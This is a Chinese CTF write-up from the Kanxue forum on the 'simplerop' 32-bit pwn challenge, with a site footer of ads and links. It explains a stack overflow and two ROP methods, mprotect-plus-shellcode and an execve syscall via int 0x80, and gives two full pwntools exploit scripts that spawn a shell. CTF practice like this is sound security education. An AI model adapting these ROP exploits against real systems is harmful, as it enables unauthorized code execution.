CTF实战练习Cmcc_simplerop
本文为看雪论坛优秀文章
看雪论坛作者ID:N1co5in3
一
题目复现
主函数可溢出:
存在mprotect,可以改变bss权限后,在bss写入shell代码。
存在int 0x80,可以调整寄存器利用中断执行sh。
因此本题有两种思路。
二
解题思路
方法一:
先用mprotect改写bss段权限,用read函数在bss段写入shell代码。
方法二:
由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数。
三
调试过程
执行完函数需要pop3执行后面的函数,都可以用。
int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省。
gdb断点应该更直观。
得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同。
四
Payload
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./simplerop')
#io = remote('node4.buuoj.cn',25205)
elf = ELF('./simplerop')
main_addr = 0x8048e26
read_addr = 0x806cd50
#pop_eax = 0x80bae06
pop_edx_ecx_ebx = 0x806e850
#int80_addr = 0x80493e1
binsh_addr = 0x80eaf80
mprotect_addr = 0x806d870
#binsh_addr = 0x80eb584
payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)
payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)
payload += p32(binsh_addr)
io.sendlineafter('it',payload)
sleep(0.2)
payload2 = asm(shellcraft.sh())
io.sendline(payload2)
io.interactive()
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./simplerop')
#io = remote('node4.buuoj.cn',25205)
elf = ELF('./simplerop')
main_addr = 0x8048e26
read_addr = 0x806cd50
pop_eax = 0x80bae06
pop_edx_ecx_ebx = 0x806e850
pop_ebx = 0x80481c9
int80_addr = 0x80493e1
binsh_addr = 0x80eaf80
#binsh_addr = 0x80eb584
payload = b'a' * 0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)
#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
五
未解决问题
希望有师傅可以交流解决上述问题!
看雪ID:N1co5in3
https://bbs.pediy.com/user-home-945391.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
- JavaScript 未必是最优选,下一代浏览器语言会是什么样?
- 60秒学会用eBPF-BCC hook系统调用 hook安卓所有syscall
- 雷军称小米成为电动汽车前五才成功;马斯克称特斯拉市值或超4万亿美元;Win11默认使用Windows Terminal|极客头条
- .NET 为何如此受欢迎?
- 历史上的今天:Amiga 之父诞生;BASIC 语言的共同开发者出生;黑莓 BBM 停运
- 公开了“IP属地”,我是不是被监视了?
- 倒计时1天!2021 KCTF秋季赛火热来袭!无需报名,直接开战!
- 联想回应“柳传志1亿年薪”;英伟达收购ARM交易或彻底泡汤;苹果将于10月18日举行新品发布会|极客头条
- 为什么优秀的程序员都成了无能的领导?
- 注意!iPhone无法降级到 iOS 12.5了
- 安全创业企业如何从从巨头环伺中逆袭突围
- 红帽将停止支持 CentOS 8;2020 百度沸点揭晓年度知识热词;Qt 6.0 发布|极客头条
赞助链接